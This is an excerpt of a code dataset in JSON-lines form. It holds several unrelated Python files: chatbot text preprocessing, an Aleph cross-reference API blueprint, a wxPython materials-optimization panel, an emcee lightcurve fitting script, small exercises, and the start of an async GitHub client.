would\", text)\n text = re.sub(r\"won't\", \"will not\", text)\n text = re.sub(r\"can't\", \"can not\", text)\n text = re.sub(r\"-+%$#@^\\\";:<>{}=.?,/*\", \"\", text) # replace symbols\n return text\n\n\n# Clean questions\nclean_questions = []\nfor question in questions:\n clean_questions.append(clean_text(question))\n\n\n# Clean answers\nclean_answers = []\nfor answer in answers:\n clean_answers.append(clean_text(answer))\n \n\n# Create a word counter dictionary to track number of occurances of words\nword_occurance_dict = {}\nfor question in clean_questions: # take a single question\n for word in question.split(): # take a single word\n if word not in word_occurance_dict:\n word_occurance_dict[word] = 1 # we could do it in other way\n else:\n word_occurance_dict[word] += 1\n\nfor answer in clean_answers: # take a single question\n for word in answer.split(): # take a single word\n if word not in word_occurance_dict:\n word_occurance_dict[word] = 1 # we could do it in other way\n else:\n word_occurance_dict[word] += 1\n\n# Create 2 dictionaries to observe the unique words occurances in both \n# questions and answers word occurance dictionaries\nthreshold = 20\nquestion_unique_words_dict = {}\nword_count = 0\nfor word, count in word_occurance_dict.items():\n if count >= threshold:\n question_unique_words_dict[word] = word_count # create key and value at the same time\n word_count += 1\n \nanswer_unique_words_dict = {}\nword_count = 0\nfor word, count in word_occurance_dict.items():\n if count >= threshold:\n answer_unique_words_dict[word] = word_count # create key and value at the same time\n word_count += 1\n \n# Token\ntokens = [\"\", \"\", \"\", \"\"]\nfor token in tokens:\n question_unique_words_dict[token] = len(question_unique_words_dict) + 1\n\nfor token in tokens:\n answer_unique_words_dict[token] = len(answer_unique_words_dict) + 1\n \n# Create the inverse dictionary\nanswer_reverse_unique_words_dic = {w_i: w for w, w_i in answer_unique_words_dict.items()}\n\n\n# Add end of string token to the end of every answer\nfor i in range(len(clean_answers)):\n clean_answers[i] += ' '\n\n# Translate all questions and answers into integers\n# and replace all the words that were filtered by \nquestions_to_int = []\nfor question in clean_questions:\n ints = []\n for word in question.split():\n if word not in question_unique_words_dict:\n ints.append(question_unique_words_dict[\"\"])\n else:\n ints.append(question_unique_words_dict[word])\n questions_to_int.append(ints)\n \nanswers_to_int = []\nfor answer in clean_answers:\n ints = []\n for word in question.split():\n if word not in answer_unique_words_dict:\n ints.append(answer_unique_words_dict[\"\"])\n else:\n ints.append(answer_unique_words_dict[word])\n answers_to_int.append(ints)\n \n\n# Sort clean questions and answers \nsorted_clean_questions = [] \nsorted_clean_answers = []\nfor length in range(1, 25 + 1):\n for i in enumerate(questions_to_int):\n if len(i[1]) == length:\n sorted_clean_questions.append(questions_to_int[i[0]])\n sorted_clean_answers.append(answers_to_int[i[0]])\n\n\n\"\"\"\n Build Seq2Seq Model\n\"\"\"\n\n# Create tensorflow placeholders for input and targers\n# tf.placeholder(datatype, [dimension, dimension], name = \"input\")\ndef model_inputs():\n inputs = tf.placeholder(tf.int32, [None, None], name = \"input\")\n targets = tf.placeholder(tf.int32, [None, None], name = \"target\")\n learning_rate = tf.placeholder(tf.float32, name = \"learning_rate\")\n keep_prob = tf.placeholder(tf.float32, name = \"keep_prob\")\n return inputs, targets, learning_rate, keep_prob\n\n\n# Preprocess the targets\ndef preprcess_targets(targets, word_occurance_dict, batch_size):\n left_side = tf.fill([batch_size, 1], word_occurance_dict[\"\"])\n \n # batch_size = number of lines/columns\n # take all except last column: batch size, -1\n right_side = tf.strided_slice(targets, [0, 0], [batch_size, -1], [1, 1]) # extract a subset of a tensor\n \n preprocessed_targets = tf.concat([left_side, right_side], 1)\n return preprocessed_targets\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"chatbot.py","file_name":"chatbot.py","file_ext":"py","file_size_in_byte":6762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"125016963","text":"from flask import Blueprint, request, send_file\n\nfrom aleph.search import XrefQuery\nfrom aleph.logic.xref import export_matches\nfrom aleph.views.serializers import XrefSerializer\nfrom aleph.queues import queue_task, OP_XREF\nfrom aleph.views.util import get_db_collection, get_index_collection, jsonify\n\nXLSX_MIME = 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' # noqa\nblueprint = Blueprint('xref_api', __name__)\n\n\n@blueprint.route('/api/2/collections//xref', methods=['GET']) # noqa\ndef index(collection_id):\n \"\"\"\n ---\n get:\n summary: Fetch cross-reference results\n description: >-\n Fetch cross-reference matches for entities in the collection\n with id `collection_id`\n parameters:\n - in: path\n name: collection_id\n required: true\n schema:\n type: integer\n responses:\n '200':\n description: OK\n content:\n application/json:\n schema:\n type: object\n allOf:\n - $ref: '#/components/schemas/QueryResponse'\n properties:\n results:\n type: array\n items:\n $ref: '#/components/schemas/XrefResponse'\n tags:\n - Xref\n - Collection\n \"\"\"\n get_index_collection(collection_id)\n result = XrefQuery.handle(request, collection_id=collection_id)\n return XrefSerializer.jsonify_result(result)\n\n\n@blueprint.route('/api/2/collections//xref', methods=['POST']) # noqa\ndef generate(collection_id):\n \"\"\"\n ---\n post:\n summary: Generate cross-reference matches\n description: >\n Generate cross-reference matches for entities in a collection.\n parameters:\n - in: path\n name: collection_id\n required: true\n schema:\n type: integer\n requestBody:\n content:\n application/json:\n schema:\n $ref: '#/components/schemas/XrefGenerate'\n responses:\n '202':\n content:\n application/json:\n schema:\n properties:\n status:\n description: accepted\n type: string\n type: object\n description: Accepted\n tags:\n - Xref\n - Collection\n \"\"\"\n collection = get_db_collection(collection_id, request.authz.WRITE)\n queue_task(collection, OP_XREF)\n return jsonify({'status': 'accepted'}, status=202)\n\n\n@blueprint.route('/api/2/collections//xref/export')\ndef export(collection_id):\n \"\"\"\n ---\n get:\n summary: Download cross-reference results\n description: Download results of cross-referencing as an Excel file\n parameters:\n - in: path\n name: collection_id\n required: true\n schema:\n type: integer\n responses:\n '200':\n description: OK\n content:\n application/vnd.openxmlformats-officedocument.spreadsheetml.sheet:\n schema:\n type: object\n tags:\n - Xref\n - Collection\n \"\"\"\n collection = get_db_collection(collection_id, request.authz.READ)\n buffer = export_matches(collection, request.authz)\n file_name = '%s - Crossreference.xlsx' % collection.label\n return send_file(buffer,\n mimetype=XLSX_MIME,\n as_attachment=True,\n attachment_filename=file_name)\n","sub_path":"aleph/views/xref_api.py","file_name":"xref_api.py","file_ext":"py","file_size_in_byte":3542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"291238918","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.5 (62131)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/epscApp/optBCCDataPanel.py\n# Compiled at: 2009-05-29 13:49:24\nimport wx\nfrom hklDialog import HKLDialog\nfrom SCMPanel import SCMPanel\n\nclass OptBCCDataPanel(wx.Panel, SCMPanel):\n \"\"\"\n Optimization data input panel for BCC structure\n Selection of macro and hkl.\n Low and high values for bounded optimization\n \"\"\"\n\n def __init__(self, *args, **kwds):\n SCMPanel.__init__(self, *args, **kwds)\n wx.Panel.__init__(self, *args, **kwds)\n self.controller = self.Parent.Parent.controller\n self.sizer_Model_staticbox = wx.StaticBox(self, -1, 'Model Parameters Setting')\n self.sizer_Experiment_staticbox = wx.StaticBox(self, -1, 'Experiment Data Setting')\n self.chkbox_macro = wx.CheckBox(self, -1, 'Macro (Extensometer)')\n self.chkbox_hkl = wx.CheckBox(self, -1, 'HKL (Neutron)')\n self.button_HKL = wx.Button(self, -1, 'Select HKLs')\n self.static_line_1 = wx.StaticLine(self, -1, style=wx.LI_VERTICAL)\n self.sizer_slip_staticbox = []\n self.sizer_slip_staticbox.append(wx.StaticBox(self, -1, 'Slip {110}<111>'))\n self.sizer_slip_staticbox.append(wx.StaticBox(self, -1, 'Slip {112}<111>'))\n self.sizer_slip_staticbox.append(wx.StaticBox(self, -1, 'Slip {123}<111>'))\n self.chbox_voceBCC = [[], [], [], []]\n self.label_name_voceBCC = []\n self.label_initial_voceBCC = []\n self.label_low_voceBCC = []\n self.label_high_voceBCC = []\n self.text_initial_voceBCC = [[], [], [], []]\n self.text_low_voceBCC = [[], [], [], []]\n self.text_high_voceBCC = [[], [], [], []]\n self.nameVoce = [\n 'Tau Zero', 'Tau One', 'Theta Zero', 'Theta One']\n for i in range(3):\n self.label_name_voceBCC.append(wx.StaticText(self, -1, 'Name '))\n self.label_initial_voceBCC.append(wx.StaticText(self, -1, 'Initial '))\n self.label_low_voceBCC.append(wx.StaticText(self, -1, 'Low '))\n self.label_high_voceBCC.append(wx.StaticText(self, -1, 'High '))\n for j in range(4):\n self.chbox_voceBCC[i].append(wx.CheckBox(self, -1, self.nameVoce[j]))\n self.text_initial_voceBCC[i].append(wx.TextCtrl(self, -1, size=(50,\n -1)))\n self.text_low_voceBCC[i].append(wx.TextCtrl(self, -1, size=(50, -1)))\n self.text_high_voceBCC[i].append(wx.TextCtrl(self, -1, size=(50, -1)))\n self.text_initial_voceBCC[i][j].Enable(False)\n\n self.button_OK = wx.Button(self, -1, 'OK')\n self.button_Cancel = wx.Button(self, -1, 'Cancel')\n self.Bind(wx.EVT_BUTTON, self.OnOK, self.button_OK)\n self.Bind(wx.EVT_BUTTON, self.OnCancel, self.button_Cancel)\n self.Bind(wx.EVT_BUTTON, self.OnHKL, self.button_HKL)\n self.Bind(wx.EVT_CHECKBOX, self.OnChkHKL, self.chkbox_hkl)\n self.__set_properties()\n self.__do_layout()\n\n def showData(self):\n if self.controller.epscData.optData.getData('expData') == 'macro':\n self.chkbox_macro.SetValue(True)\n elif self.controller.epscData.optData.getData('expData') == 'hkl':\n self.chkbox_hkl.SetValue(True)\n elif self.controller.epscData.optData.getData('expData') == 'both':\n self.chkbox_macro.SetValue(True)\n self.chkbox_hkl.SetValue(True)\n for i in range(3):\n for j in range(4):\n self.chbox_voceBCC[i][j].SetValue(self.controller.epscData.optData.voceFlag[i][j])\n self.text_low_voceBCC[i][j].SetValue(str(self.controller.epscData.optData.lowVoce[i][j]))\n self.text_high_voceBCC[i][j].SetValue(str(self.controller.epscData.optData.highVoce[i][j]))\n\n self.showVoce()\n\n def disableRanges(self):\n for i in range(3):\n for j in range(4):\n self.text_low_voceBCC[i][j].Enable(False)\n self.text_high_voceBCC[i][j].Enable(False)\n\n def enableRanges(self):\n for i in range(3):\n for j in range(4):\n self.text_low_voceBCC[i][j].Enable(True)\n self.text_high_voceBCC[i][j].Enable(True)\n\n def showVoce(self):\n for i in range(3):\n if i + 1 in self.controller.epscData.matParam['Phase1'].selectedSystems:\n for j in range(4):\n self.chbox_voceBCC[i][j].Enable(True)\n self.text_initial_voceBCC[i][j].SetValue(str(self.controller.epscData.matParam['Phase1'].voce[i][j]))\n\n else:\n for j in range(4):\n self.chbox_voceBCC[i][j].Enable(False)\n\n self.Update()\n\n def refreshOptimizedVoce(self, p):\n count = 0\n for i in range(3):\n if i + 1 in self.controller.epscData.matParam['Phase1'].selectedSystems:\n for j in range(4):\n if self.controller.epscData.optData.voceFlag[i][j] == 1:\n self.text_initial_voceBCC[i][j].SetValue(str(p[count]))\n count += 1\n\n self.Update()\n\n def OnHKL(self, event):\n if self.controller.epscData.diffractionDataSaved:\n dialog = HKLDialog(parent=self, winSize=(300, 300))\n else:\n msg = 'You should input diffraction data first!'\n dialog = wx.MessageDialog(self, msg, 'Warning', wx.OK)\n dialog.ShowModal()\n dialog.Destroy()\n event.Skip()\n\n def OnChkHKL(self, event):\n if event.IsChecked():\n self.button_HKL.Enable(True)\n else:\n self.button_HKL.Enable(False)\n\n def OnOK(self, event):\n if self.chkbox_macro.GetValue() == True:\n self.controller.epscData.optData.setData('expData', 'macro')\n if self.chkbox_hkl.GetValue() == True:\n self.controller.epscData.optData.setData('expData', 'both')\n else:\n self.controller.epscData.optData.setData('expData', 'hkl')\n for i in range(3):\n for j in range(4):\n self.controller.epscData.optData.voceFlag[i][j] = self.chbox_voceBCC[i][j].GetValue()\n self.controller.epscData.optData.lowVoce[i][j] = self.text_low_voceBCC[i][j].GetValue()\n self.controller.epscData.optData.highVoce[i][j] = self.text_high_voceBCC[i][j].GetValue()\n\n self.treePanel.turnOnOptNode(1)\n self.controller.epscData.optData.turnOnFlag('range')\n self.controller.epscData.optData.turnOnFlag('optData')\n\n def OnCancel(self, event):\n self.showVoce()\n for i in range(4):\n for j in range(4):\n self.chbox_voceBCC[i][j].SetValue(False)\n\n self.treePanel.turnOffOptNode(1)\n self.controller.epscData.optData.turnOffFlag('optData')\n\n def __set_properties(self):\n self.SetSize((664, 398))\n self.SetScrollbar(wx.VERTICAL, 0, 6, 50)\n self.FitInside()\n self.chkbox_macro.SetValue(1)\n\n def __do_layout(self):\n sizer_top = wx.BoxSizer(wx.VERTICAL)\n sizer_OK = wx.BoxSizer(wx.HORIZONTAL)\n sizer_btn = wx.BoxSizer(wx.HORIZONTAL)\n sizer_Model = wx.StaticBoxSizer(self.sizer_Model_staticbox, wx.VERTICAL)\n grid_sizer_1 = wx.FlexGridSizer(2, 2, 0, 0)\n sizer_ph2_power = wx.BoxSizer(wx.VERTICAL)\n sizer_ph1_power = wx.BoxSizer(wx.VERTICAL)\n sizer_Experiment = wx.StaticBoxSizer(self.sizer_Experiment_staticbox, wx.VERTICAL)\n sizer_Experiment.Add(self.chkbox_macro, 0, wx.ALL | wx.ADJUST_MINSIZE, 5)\n sizer_Experiment.Add(self.chkbox_hkl, 0, wx.ALL | wx.ADJUST_MINSIZE, 5)\n sizer_Experiment.Add(self.button_HKL, 0, wx.ALL | wx.ADJUST_MINSIZE, 5)\n sizer_top.Add(sizer_Experiment, 0, wx.ALL | wx.EXPAND, 2)\n for i in range(3):\n sizer_ph1 = wx.StaticBoxSizer(self.sizer_slip_staticbox[i], wx.HORIZONTAL)\n sizer_ph1_voce = wx.FlexGridSizer(5, 4, 0, 0)\n sizer_ph1_voce.Add(self.label_name_voceBCC[i], 0, wx.ALL | wx.ADJUST_MINSIZE, 5)\n sizer_ph1_voce.Add(self.label_initial_voceBCC[i], 0, wx.ALL | wx.ADJUST_MINSIZE, 5)\n sizer_ph1_voce.Add(self.label_low_voceBCC[i], 0, wx.ALL | wx.ADJUST_MINSIZE, 5)\n sizer_ph1_voce.Add(self.label_high_voceBCC[i], 0, wx.ALL | wx.ADJUST_MINSIZE, 5)\n for j in range(4):\n sizer_ph1_voce.Add(self.chbox_voceBCC[i][j], 0, wx.ALL | wx.ADJUST_MINSIZE, 5)\n sizer_ph1_voce.Add(self.text_initial_voceBCC[i][j], 0, wx.ALL | wx.ADJUST_MINSIZE, 5)\n sizer_ph1_voce.Add(self.text_low_voceBCC[i][j], 0, wx.ALL | wx.ADJUST_MINSIZE, 5)\n sizer_ph1_voce.Add(self.text_high_voceBCC[i][j], 0, wx.ALL | wx.ADJUST_MINSIZE, 5)\n\n sizer_ph1.Add(sizer_ph1_voce, 1, wx.EXPAND, 0)\n grid_sizer_1.Add(sizer_ph1, 1, wx.EXPAND, 0)\n\n sizer_Model.Add(grid_sizer_1, 1, wx.EXPAND, 0)\n sizer_top.Add(sizer_Model, 0, wx.ALL | wx.EXPAND, 2)\n sizer_btn.Add((20, 20), 1, wx.ADJUST_MINSIZE, 0)\n sizer_btn.Add((20, 20), 1, wx.ADJUST_MINSIZE, 0)\n sizer_top.Add(sizer_btn, 0, wx.ALL | wx.EXPAND, 2)\n sizer_OK.Add((20, 20), 1, wx.ADJUST_MINSIZE, 0)\n sizer_OK.Add(self.button_OK, 0, wx.ALL | wx.ADJUST_MINSIZE, 5)\n sizer_OK.Add(self.button_Cancel, 0, wx.ALL | wx.ADJUST_MINSIZE, 5)\n sizer_top.Add(sizer_OK, 0, wx.ALL | wx.EXPAND, 2)\n self.SetAutoLayout(True)\n self.SetSizer(sizer_top)\n\n\nif __name__ == '__main__':\n app = wx.PySimpleApp(0)\n wx.InitAllImageHandlers()\n frame = wx.Frame(None, -1, 'dynamic test', size=(800, 600))\n frame_1 = OptBCCDataPanel(frame)\n app.SetTopWindow(frame)\n frame.Show()\n app.MainLoop()","sub_path":"pycfiles/SCM-1.0alpha-py2.5/optBCCDataPanel.py","file_name":"optBCCDataPanel.py","file_ext":"py","file_size_in_byte":9940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"472603563","text":"import sys\nif len(sys.argv) < 3:\n print(\"lightcurveplot.py INFITS ROWNUM\")\n print(\"INFITS is a fits table of DES Data,\") \n print(\"ROWNUM is a row in that file\") \n sys.exit()\nimport numpy as np\nimport astropy.io.fits as pyfit\nimport matplotlib\n#matplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport emcee\nimport scipy.optimize as op\nimport corner\n# These are the guesses that emcee starts with\nV =0.3\nC = .01\nTau = 365.0\nlogprobs = []\nlogvals = []\n#Make the lightcurve\n\ndef boundaries(mjds,mags):\n mjdmin = 100*np.floor(np.min(mjds)*.01)\n mjdmax = 100*np.ceil(np.max(mags)*.01)\n [magmin,magmax] = np.percentile(mags,[2,98])\n magmin = 0.5*np.floor(2.*(magmin-0.1))\n magmax = 0.5*np.ceil(2.*(magmax+0.1))\n return [[mjdmin,mjdmax],[magmax,magmin]]\n\ndef getdata(fits,num):\n \n [mags_g, errs_g, mjds_g] = goodrow(22.5-2.5*np.log10(fits[num]['LC_FLUX_PSF_G']), fits[num]['LC_FLUXERR_PSF_G']/fits[num]['LC_FLUX_PSF_G'], fits[num]['LC_MJD_G'])\n [mags_r, errs_r, mjds_r] = goodrow(22.5-2.5*np.log10(fits[num]['LC_FLUX_PSF_R']), fits[num]['LC_FLUXERR_PSF_R']/fits[num]['LC_FLUX_PSF_R'], fits[num]['LC_MJD_R'])\n [mags_i, errs_i, mjds_i] = goodrow(22.5-2.5*np.log10(fits[num]['LC_FLUX_PSF_I']), fits[num]['LC_FLUXERR_PSF_I']/fits[num]['LC_FLUX_PSF_I'], fits[num]['LC_MJD_I'])\n [mags_z, errs_z, mjds_z] = goodrow(22.5-2.5*np.log10(fits[num]['LC_FLUX_PSF_Z']), fits[num]['LC_FLUXERR_PSF_Z']/fits[num]['LC_FLUX_PSF_Z'], fits[num]['LC_MJD_Z'])\n return [mags_g, errs_g, mjds_g, mags_r, errs_r, mjds_r, mags_i, errs_i, mjds_i, mags_z, errs_z, mjds_z]\n \ndef goodrow(mags,errs,mjds):\n good = (mags > 0) & (mags != 22.5) & (mags != np.inf) & ~np.isnan(mags) & (errs > 0) & (errs != np.inf) & ~np.isnan(errs) & (mjds > 0) & (mjds != np.inf) & ~np.isnan(mjds) \n return [mags[good], errs[good], mjds[good]]\n\ndef countoutliers(fits):\n fluxs = 22.5-2.5*np.log10(fits[num]['LC_FLUX_PSF_G']), fits[num]['LC_FLUXERR_PSF_G']/fits[num]['LC_FLUX_PSF_G'], fits[num]['LC_MJD_G'] \n\ndef plotdata(args):\n fits = pyfit.open(args[1])[1].data \n VarRows = int(args[2])\n [mags_g, errs_g, mjds_g, mags_r, errs_r, mjds_r, mags_i, errs_i, mjds_i, mags_z, errs_z, mjds_z] = getdata(fits,17999)\n rownum = args[2]\n \n plt.rcParams['font.size'] = 18\n plt.figure()\n plt.subplot(111)\n plt.errorbar(mjds_g-57000, mags_g, yerr = errs_g, fmt = 'og')\n plt.errorbar(mjds_r-57000, mags_r, yerr = errs_r, fmt = 'or')\n plt.errorbar(mjds_i-57000, mags_i, yerr = errs_i, fmt = 'ok')\n plt.errorbar(mjds_z-57000, mags_z, yerr = errs_z, fmt = 'ob')\n [xlim,ylim] = boundaries(np.hstack([mjds_g,mjds_r,mjds_i,mjds_z]),np.hstack([mags_g,mags_r,mags_i,mags_z]))\n\n plt.ylim(ylim)\n plt.xlabel('MJD-57000')\n plt.ylabel('Mags')\n field = args[1].split('_')[0]\n plt.title(field+' Object '+rownum)\n \n\n#Here is where the prep from emcee starts\ndef get_vals(args):\n FITS = pyfit.open(args[1])\n \n #get the flux, err, and time arrays\n row = int(args[2])\n lc_flux = FITS[1].data['LC_FLUX_PSF_G'][row]\n lc_mean = FITS[1].data['MEAN_PSF_G'][row]\n lc_flux_err = FITS[1].data['LC_FLUXERR_PSF_G'][row]\n lc_time = FITS[1].data['LC_MJD_G'][row]\n #remove the zeros\n lc_time = lc_time[lc_time != 0.]\n \n limit = len(lc_time)\n lc_flux = lc_flux[:limit]\n lc_flux_err = lc_flux_err[:limit]\n \n return lc_flux, lc_flux_err, lc_time,lc_mean, FITS\n\ndef Make_M(V,Tau,C):\n delta_f = (flux - fmean)/fmean\n sigma_sq = (err * err) / (fmean**2)\n time_array = np.fabs(np.array(time,ndmin=2)-np.array(time,ndmin=2).T) \n M = np.diag(sigma_sq+C**2) + (V ** 2) * np.exp(-1.0 * (time_array)/Tau)\n return M,delta_f,sigma_sq\n\nflux, err, time, fmean, FITS = get_vals(sys.argv)\n\nM,delta_f,sigma_sq = Make_M(V,Tau,C)\n\ndef lnlike(theta, time, delta_f, sigma_sq):\n logV, logTau, logC = theta\n inv_sigma2 = sigma_sq ** -1\n M,delta_f,sigma_sq = Make_M(10**logV,10**logTau,10**logC)\n sign, value = np.linalg.slogdet(M)\n deter = sign * np.exp(value.item())\n lnP = -.5*np.log(deter)-.5*((np.dot(delta_f,(np.dot(delta_f,np.linalg.inv(M))))))\n return lnP\n\ndef lnprior(theta):\n logV, logTau, logC = theta\n if -3 < logV < 2 and 0 < logTau < 4 and -3 < logC < 2:\n return 0.0\n return -np.inf\n\ndef lnprob(theta, x, y, yerr):\n lp = lnprior(theta)\n if not np.isfinite(lp):\n return -np.inf\n logprobs.append(lp + lnlike(theta, x, y, yerr))\n logvals.append(theta)\n return lp + lnlike(theta, x, y, yerr)\n\n\ndef sausageplot(Vari,time,delta_f,Tau,dt,sigma_sq):\n mu = fmean\n err_top = []\n err_bot = []\n Logpr = []\n Vari = 10 ** Vari\n Tau = 10 ** Tau\n times = []\n \n for t in np.arange(min(time),max(time),dt):\n sigma_sq_s = np.append(sigma_sq, 0.0)\n dtime = np.append(time,t)\n delta_time = np.fabs(np.array(dtime,ndmin=2)-np.array(dtime,ndmin=2).T)\n #Make the modified matrix\n S = np.diag(sigma_sq_s) + (Vari**2) * np.exp(-1.0 * delta_time / Tau)\n times.append(t-57000)\n #Set up our guess for the flux\n t0 = [i for i in time if i >= t]\n t1 = [i for i in time if i <= t]\n t0 = t0[0]\n time_ind0 = np.where(time == t0)\n t1 = t1[-1]\n time_ind1 = np.where(time == t1)\n tp_0 = t0 / t\n tp_1 = t1 / t\n Fg1 = (tp_0 * delta_f[time_ind0]) + (tp_1 * delta_f[time_ind1])\n Fg1 = (Fg1 - mu)/mu\n Fg2 = Fg1 - 1\n Fg3 = Fg1 + 1\n \n delf1 = np.append(delta_f,Fg1)\n delf2 = np.append(delta_f,Fg2)\n delf3 = np.append(delta_f,Fg3)\n \n sign, value = np.linalg.slogdet(S)\n deter = sign * np.exp(value.item())\n #calculate the Log Probs\n logP = -.5*np.log((deter))-.5*((np.dot(delf1,(np.dot(delf1,np.linalg.inv(S))))))\n logP1 = -.5*np.log((deter))-.5*((np.dot(delf2,(np.dot((delf2),np.linalg.inv(S))))))\n logP2 = -.5*np.log((deter))-.5*((np.dot(delf3,(np.dot((delf3),np.linalg.inv(S)))))) \n\n X = [Fg2,Fg1,Fg3]\n Y = [logP1,logP,logP2]\n X = np.array(X)\n X = (X.T)[0]\n Matr = np.array([[X[0]**2,X[0],1],[X[1]**2,X[1],1],[X[2]**2,X[2],1]])\n #Matr = Matr.astype(np.float64)\n result = np.linalg.solve(Matr, Y) \n sig_sq = -1/(2*result[0])\n f_0 = -(result[1]/(2*result[0]))\n \n parabola = np.polyfit(X,Y,2)\n f = np.poly1d(parabola)\n \n x_new = np.linspace(X[0], X[-1], 5000)\n y_new = f(x_new)\n \n delf = delta_f\n Fm = op.fmin(lambda x: -f(x),0)\n sig = 22.5-2.5*np.log10((sig_sq))\n logPn = result[0]*((Fm - f_0)**2) + result[2] - (result[1]**2)/(4*result[0])\n \n sig1 = mu * (np.sqrt(sig_sq) + f_0) + mu\n sig2 = mu * (-np.sqrt(sig_sq) + f_0) + mu\n center = 22.5-2.5*np.log10((mu * (f_0))+mu)\n err_t = 22.5-2.5*np.log10((mu * (f_0 + np.sqrt(sig_sq)))+mu)\n err_b = 22.5-2.5*np.log10((mu * (f_0 - np.sqrt(sig_sq)))+mu)\n Logpr.append(center)\n err_top.append(err_t)\n err_bot.append(err_b)\n \n plotdata(sys.argv)\n plt.plot(times,err_top, color = 'g')\n plt.plot(times,Logpr, color = 'b')\n plt.plot(times,err_bot, color = 'g')\n plt.title(' Object '+sys.argv[2])\n plt.savefig('sausage' + 'C1_lc' + sys.argv[2] + '.png')\n\n plt.show()\ndef preform_emcee(time,delta_f,sigma_sq):\n flux, err, time, fmean, FITS = get_vals(sys.argv)\n M,delta_f,sigma_sq = Make_M(V,Tau,C)\n \n nll = lambda *args: -lnlike(*args)\n result = op.minimize(nll, [np.log10(V), np.log10(Tau),np.log10(C)],args=(time,delta_f,sigma_sq))\n ndim, nwalkers = 3, 100\n pos = [result[\"x\"] + 1e-4*np.random.randn(ndim) for i in range(nwalkers)]\n\n sampler = emcee.EnsembleSampler(nwalkers, ndim, lnprob, args=(time, delta_f, sigma_sq))\n\n sampler.run_mcmc(pos, 500)\n samples = sampler.chain[:, 50:, :].reshape((-1, ndim))\n max_theta = logvals[logprobs.index(max(logprobs))]\n V_mcmc, Tau_mcmc, C_mcmc = map(lambda v: (v[1], v[2]-v[1], v[1]-v[0]),\n zip(*np.percentile(samples, [16, 50, 84],\n axis=0)))\n fig = corner.corner(samples, labels=[r\"log$_{10}V$\", r\"log$_{10}\\tau$\",r\"log$_{10}$C\"],\n truths=[max_theta[0], max_theta[1], max_theta[2]])\n #make the png\n fig.savefig(\"triangle.png\")\n plotdata(sys.argv)\n print(max_theta)\n print(V_mcmc,Tau_mcmc,C_mcmc)\n sausageplot(max_theta[0], time, delta_f, max_theta[1], 5, sigma_sq)\npreform_emcee(time, delta_f, sigma_sq)\n \n","sub_path":"legacy_code/Sausageplot.py","file_name":"Sausageplot.py","file_ext":"py","file_size_in_byte":8604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"548494583","text":"\ndef lastword(str1):\n\n cnt=0\n found=False\n for i in range(len(str1)-1,-1,-1):\n if str1[i]==' ' and found==False:\n continue\n elif str1[i]==' ':\n break\n else:\n cnt=cnt+1\n found=True\n\n return cnt\n\ndef main():\n str1='The sky is very blue '\n print('Length of last word is:',lastword(str1))\n\n str1 = 'The sky is very blue'\n print('Length of last word is:', lastword(str1))\n\n\nif __name__=='__main__':\n main()\n","sub_path":"python/Strings/LastWordLength.py","file_name":"LastWordLength.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"389492846","text":"from pages.home import Handler as HomePageHandler\nfrom pages.index import Handler as IndexPageHandler\nfrom webapp2 import Route\nfrom webapp2_extras.routes import PathPrefixRoute, RedirectRoute\n\n_LANG_PREFIX = '/'\n\nroutes = [\n Route(\n '/',\n handler=IndexPageHandler,\n name='index'),\n RedirectRoute(\n '{}'.format(_LANG_PREFIX),\n redirect_to_name='homepage'),\n PathPrefixRoute(\n _LANG_PREFIX,\n [\n Route(\n '/',\n handler=HomePageHandler,\n name='homepage'),\n ]),\n]\n","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"133939313","text":"import math\nn = sorted(list(map(int, input().split())))\n\nmy_list = reversed(n)\n\nnumber = 0\nfor item in my_list:\n number = math.sqrt(item)\n if number == int(number):\n print(item, end=\" \")\n\n","sub_path":"Python_Fundamental/List and Dictionaries/Square_Numbers.py","file_name":"Square_Numbers.py","file_ext":"py","file_size_in_byte":201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"237261728","text":"import aiohttp\nimport requests\nimport asyncio\nimport pprint as pp\n\n_TIMEOUT = 30\n\n_BASE_URL = 'https://api.github.com'\n\n_METHOD_MAP = dict(\n GET='GET',\n POST='POST'\n)\n\nclass GithubRepository:\n \"\"\"Represents 'Github's repository data.\"\"\"\n\n def __init__(self):\n self.id = 0\n self.full_name = ''\n self.name = ''\n self.open_issues = 0\n self.open_issues_count = 0\n self.download_url = ''\n self.html_url = ''\n self.watchers = 0\n self.watchers_count = 0\n self.updated_at = ''\n self.pushed_at = ''\n self.created_at = ''\n self.forks = 0\n self.forks_count = 0\n self.description = ''\n self.clone_url = ''\n self.default_branch = 'master'\n self.git_url = ''\n self.language = ''\n self.languages = ''\n self.license = None\n self.owner = None\n\n def process_raw(self, repo_raw):\n \"\"\"Set all attributes with the given repo_raw (json types).\"\"\"\n\n self.id = repo_raw['id']\n self.name = repo_raw['name']\n self.full_name = repo_raw['full_name']\n self.pushed_at = repo_raw['pushed_at']\n self.created_at = repo_raw['created_at']\n self.updated_at = repo_raw['updated_at']\n self.clone_url = repo_raw['clone_url']\n self.description = repo_raw['description']\n self.language = repo_raw['language']\n self.license = repo_raw['license']\n self.html_url = repo_raw['html_url']\n\nclass GithubOwner:\n \"\"\"Represents 'Github's owner data.\"\"\"\n\n def __init__(self):\n self.avatar_url = ''\n self.followers_url = ''\n self.following_url = ''\n self.starred_url = ''\n self.url = ''\n self.html_url = ''\n self.raw = None\n\nclass AioGithub:\n \"\"\"Asynchronous Github Client\"\"\"\n\n def __init__(self, loop=None):\n self.loop = loop\n\n async def search_user(self, q):\n 